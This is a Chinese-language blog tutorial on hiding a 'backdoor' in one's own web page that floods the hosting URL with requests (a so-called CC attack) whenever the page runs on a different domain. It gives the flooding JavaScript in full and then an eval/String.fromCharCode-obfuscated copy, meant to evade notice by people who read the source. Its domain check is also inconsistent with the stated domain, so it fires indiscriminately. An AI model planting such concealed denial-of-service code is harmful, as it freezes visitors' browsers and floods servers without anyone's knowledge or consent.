这个只能算个思路~~~
我相信大家也知道,所有前端页面的源码都是开源的,自己辛辛苦苦写的脚本,被人一个复制,作品就完了,经过10多天的苦思冥想,我自己想出了一个脚本,那就是在自己的前端页面留下后门,如果别人把你的源码复制走了,那么就对对方进行CC反击

思路是不是很猥琐,嘎嘎  整体思路就是,对自己做一个判断,判断如果不是自己的域名,就发起CC反击

本章节需要JS基础

这里我先打印输入自己的域名

url = window.location.href;
 
document.write("<br>url="+url)

可以看到, 域名是http://localhost/1.html 下面做一个判断,如果域名不是 http://localhost/1.html那么就发起cc攻击

if(url!='http://localhost/2tml'){   //判断域名如果不是http://localhost/2tml就执行下面的代码
 
url = window.location.href; //保存域名变量
 
  
 
function cctest() {
 
url = window.location.href;
 
var cc = new Image() //新创建一个图片
 
var rand = Math.floor(Math.random() * 2000) //图片get请求随机数
 
cc.src =url+'?'+rand+'.'
 
cc.onerror="cctest()"
 
cc.onload="cctest()"
 
cctest()
 
}
 
setInterval(cctest, 10)
 
setInterval(cctest, 10)
 
setInterval(cctest, 10)
 
}
 
//CC攻击

这里我的域名是http://localhost/1.html,不符合判断的要求,那么他就会发起CC攻击,假设我们是偷走源码的人,现在我们打开这个网页试试看

刚刚卡死了
图片2.png

图片2.png

可以看到,谷歌占用进程百分之60.还在不断的上涨,

好了,前端后门就完成了,但是,直接这样放上去肯定是不行的,因为大部分复制你源码的人,都懂点JS,所以我们要 “加工”

随便用个编码机制吧~~

//获取页面完整地址
 
url = window.location.href;
 
document.write("<br>url="+url)
 
  
 
if(url!='http://localhost/2tml'){        //判断,如果当前域名不是 localhost/2htm就发起CC攻击,这里你可以修改为自己的域名
 
  
 
//一下开始攻击
 
eval(
 
eval(String.fromCharCode(9,117,114,108,32,61,32,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,59,13,102,117,110,99,116,105,111,110,32,99,99,116,101,115,116,40,41,32,123,13,117,114,108,32,61,32,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,59,13,118,97,114,32,99,99,32,61,32,110,101,119,32,73,109,97,103,101,40,41,13,118,97,114,32,114,97,110,100,32,61,32,77,97,116,104,46,102,108,111,111,114,40,77,97,116,104,46,114,97,110,100,111,109,40,41,32,42,32,50,48,48,48,41,13,99,99,46,115,114,99,32,61,117,114,108,43,39,63,39,43,114,97,110,100,43,39,46,39,13,99,99,46,111,110,101,114,114,111,114,61,34,99,99,116,101,115,116,40,41,34,13,99,99,46,111,110,108,111,97,100,61,34,99,99,116,101,115,116,40,41,34,13,99,99,116,101,115,116,40,41,13,125,13,115,101,116,73,110,116,101,114,118,97,108,40,99,99,116,101,115,116,44,32,49,48,41,13,115,101,116,73,110,116,101,114,118,97,108,40,99,99,116,101,115,116,44,32,49,48,41,13,115,101,116,73,110,116,101,114,118,97,108,40,99,99,116,101,115,116,44,32,49,48,41)))
 
}